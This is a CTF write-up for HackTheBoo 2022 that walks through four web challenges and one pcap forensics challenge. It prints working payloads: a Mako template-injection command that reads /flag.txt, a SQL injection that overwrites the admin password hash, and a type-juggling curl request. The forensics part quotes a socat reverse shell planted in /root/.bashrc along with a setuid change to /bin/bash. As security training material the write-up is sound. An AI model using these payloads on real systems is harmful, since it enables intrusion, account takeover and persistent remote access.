Skip to content

[Writeup] HackTheBoo 2022

Posted on:November 27, 2022 at 05:30 PM

1.

I solved 4 web challenges and one forensics chall.

2. THE CHALLS

Spookifier - web

Spookifier

We are greeted by this screen:

Spookifier2

web = Blueprint('web', __name__)

@web.route('/')
def index():
    text = request.args.get('text')
    if(text):
        converted = spookify(text)
        return render_template('index.html',output=converted)
    
    return render_template('index.html',output='')

routes.py looks like this. it receives ?/text= as the parameter. spookify depends on util.py.

def generate_render(converted_fonts):
	result = '''
		<tr>
			<td>{0}</td>
        </tr>
        
		<tr>
        	<td>{1}</td>
        </tr>
        
		<tr>
        	<td>{2}</td>
        </tr>
        
		<tr>
        	<td>{3}</td>
        </tr>

	'''.format(*converted_fonts)
	
	return Template(result).render()

def change_font(text_list):
	text_list = [*text_list]
	current_font = []
	all_fonts = []
	
	add_font_to_list = lambda text,font_type : (
		[current_font.append(globals()[font_type].get(i, ' ')) for i in text], all_fonts.append(''.join(current_font)), current_font.clear()
		) and None

	add_font_to_list(text_list, 'font1')
	add_font_to_list(text_list, 'font2')
	add_font_to_list(text_list, 'font3')
	add_font_to_list(text_list, 'font4')

	return all_fonts

def spookify(text):
	converted_fonts = change_font(text_list=text)

	return generate_render(converted_fonts=converted_fonts)

spookify calls the change_font function and then returns generate_render. We can see a SSTI vulnerability in generate_render. Since it uses mako, entering ?text=${1+1} will result in 2.

The payload:

${self.module.cache.util.os.popen('cat /flag.txt').read()}

Spookifier3

Horror Feeds - web

horror

horror2

from colorama import Cursor
from util import generate_password_hash, verify_hash, generate_token


mysql = MySQL()

def query_db(query, args=(), one=False):
    cursor = mysql.connection.cursor()
    cursor.execute(query, args)
    rv = [dict((cursor.description[idx][0], value)
        for idx, value in enumerate(row)) for row in cursor.fetchall()]
    return (rv[0] if rv else None) if one else rv


def login(username, password):
    user = query_db('SELECT password FROM users WHERE username = %s', (username,), one=True)

    if user:
        password_check = verify_hash(password, user.get('password'))

        if password_check:
            token = generate_token(username)
            return token
        else:
            return False
    else:
        return False

def register(username, password):
    exists = query_db('SELECT * FROM users WHERE username = %s', (username,))
   
    if exists:
        return False
    
    hashed = generate_password_hash(password)

    query_db(f'INSERT INTO users (username, password) VALUES ("{username}", "{hashed}")')
    mysql.connection.commit()

    return True

database.py looks like this. Instead of saving the password as plaintext, it hashes it beforehand. My first guess was SQLi, but it didn’t work, so I tried analyzing the code more.

from flask import Blueprint, render_template, request, session, current_app, redirect
from application.database import login, register
from application.util import response, is_authenticated, token_verify

web = Blueprint('web', __name__)
api = Blueprint('api', __name__)

@web.route('/')
def sign_in():
    return render_template('login.html')

@web.route('/dashboard')
@is_authenticated
def dashboard():
    current_user = token_verify(session.get('auth'))
    return render_template('dashboard.html', flag=current_app.config['FLAG'], user=current_user.get('username'))

@web.route('/logout')
def logout():
    session['auth'] = None
    return redirect('/')

@api.route('/login', methods=['POST'])
def api_login():
    if not request.is_json:
        return response('Invalid JSON!'), 400
    
    data = request.get_json()
    username = data.get('username', '')
    password = data.get('password', '')
    
    if not username or not password:
        return response('All fields are required!'), 401
    
    user = login(username, password)
    
    if user:
        session['auth'] = user
        return response('Success'), 200
        
    return response('Invalid credentials!'), 403

@api.route('/register', methods=['POST'])
def api_register():
    if not request.is_json:
        return response('Invalid JSON!'), 400
    
    data = request.get_json()
    username = data.get('username', '')
    password = data.get('password', '')
        
    if not username or not password:
        return response('All fields are required!'), 400
    
    user = register(username, password)
    
    if user:
        return response('User registered! Please login')
    
    return response('User exists already!'), 409

routes.py.

import os, bcrypt, jwt, datetime
from functools import wraps
from flask import jsonify,abort,session

encode_admin = "$2a$12$BHVtAvXDP1xgjkGEoeqRTu2y4mycnpd6If0j/WbP0PCjwW4CKdq6G"

generate = lambda x: os.urandom(x).hex()
key = generate(50)

def response(message):
    return jsonify({'message': message})

def generate_token(username):
    token_expiration = datetime.datetime.utcnow() + datetime.timedelta(minutes=360)
    
    encoded = jwt.encode(
        {
            'username': username,
            'exp': token_expiration
        },
        key,
        algorithm='HS256'
    )

    return encoded

def token_verify(token):
    try:
        token_decode = jwt.decode(
            token,
            key,
            algorithms='HS256'
        )

        return token_decode
    except:
        return abort(400, 'Invalid token!')

def is_authenticated(f):
    @wraps(f)
    def decorator(*args, **kwargs):
        token = session.get('auth')

        if not token:
            return abort(401, 'Unauthorised access detected!')

        token_verify(token)

        return f(*args, **kwargs)

    return decorator

def generate_password_hash(password):
    salt = bcrypt.gensalt()
    return bcrypt.hashpw(password.encode(), salt).decode()

def reverse_generate_password_hash(password):
    salt = bcrypt.gensalt()
    return bcrypt.hashpw(password.encode(), salt)

def verify_hash(password, passhash):
    return bcrypt.checkpw(password.encode(), passhash.encode())

print(key)
print("asdf", generate_password_hash("asdf"))

In util.py, we have the admin’s hash. We can try to SQLi at /register.

username: admin","$2b$12$jSXUhVnIZ8eHQbynD1y1TuZL7oMVevF8ORjYwQCFGlN0RbRgnf9Ei") ON DUPLICATE KEY UPDATE password="$2b$12$jSXUhVnIZ8eHQbynD1y1TuZL7oMVevF8ORjYwQCFGlN0RbRgnf9Ei"-- #
password: 1234

horror3

Juggling Facts - web

juggling

juggling2

The challenge title gives out an obvious hint.

php:type juggling

(
    'HTB{f4k3_fl4g_f0r_t3st1ng}',
    'secrets'
);

The database is connected to loadfacts of index.js.

const loadfacts = async (fact_type) => {
    await fetch('/api/getfacts', {
        method: 'POST',
        headers: {
            'Content-Type': 'application/json'
        },
        body: JSON.stringify({ 'type': fact_type })
    })
        .then((response) => response.json())
        .then((res) => {
            if (!res.hasOwnProperty('facts')){
                populate([]);
                return;
            }

            populate(res.facts);
        });
}
 public function getfacts($router)
    {
        $jsondata = json_decode(file_get_contents('php://input'), true);

        if ( empty($jsondata) || !array_key_exists('type', $jsondata))
        {
            return $router->jsonify(['message' => 'Insufficient parameters!']);
        }

        if ($jsondata['type'] === 'secrets' && $_SERVER['REMOTE_ADDR'] !== '127.0.0.1')
        {
            return $router->jsonify(['message' => 'Currently this type can be only accessed through localhost!']);
        }

        switch ($jsondata['type'])
        {
            case 'secrets':
                return $router->jsonify([
                    'facts' => $this->facts->get_facts('secrets')
                ]);

            case 'spooky':
                return $router->jsonify([
                    'facts' => $this->facts->get_facts('spooky')
                ]);
            
            case 'not_spooky':
                return $router->jsonify([
                    'facts' => $this->facts->get_facts('not_spooky')
                ]);
            
            default:
                return $router->jsonify([
                    'message' => 'Invalid type!'
                ]);
        }
    }

So in other words, after testing the type parameter, we have two conditions to bypass.

  1. strict comparison with secrets = true
  2. access from localhost

Since it is a type juggling problem, strict comparison can be bypassed. Then, the switch statement below accepts get_facts('secrets').

I simply sent a request using curl.

curl -d "{\"type\": true }" -H "Content-Type: application/json" -X POST "http://134.209.186.13:32738/api/getfacts"

juggling3

Cursed Secret Party - web

csp

app.use(function (req, res, next) {
    res.setHeader(
        "Content-Security-Policy",
        "script-src 'self' https://cdn.jsdelivr.net ; style-src 'self' https://fonts.googleapis.com; img-src 'self'; font-src 'self' https://fonts.gstatic.com; child-src 'self'; frame-src 'self'; worker-src 'self'; frame-ancestors 'self'; form-action 'self'; base-uri 'self'; manifest-src 'self'"
    );
    next();
});

This line in index.js catches my attention.

This site only accepts requests from https://cdn.jsdelivr.net. Turns out we can host github with this site.

csp2

csp3

Theres no filter with html tags, so I put in the payload like the above:

csp4

csp5

Wrong Spooky Season - Forensics

wss

Put on the Statistics > protocol hierarchy > data filter on the provided pcap file.

wss

With many clicks and TCP follows…

wss

echo 'socat TCP:192.168.1.180:1337 EXEC:sh' > /root/.bashrc && echo "==gC9FSI5tGMwA3cfRjd0o2Xz0GNjNjYfR3c1p2Xn5WMyBXNfRjd0o2eCRFS" | rev > /dev/null && chmod +s /bin/bash

Reverse it and decode it.

$  echo "==gC9FSI5tGMwA3cfRjd0o2Xz0GNjNjYfR3c1p2Xn5WMyBXNfRjd0o2eCRFS" | rev | base64 --decode
HTB{j4v4_5pr1ng_just_b3c4m3_j4v4_sp00ky!!}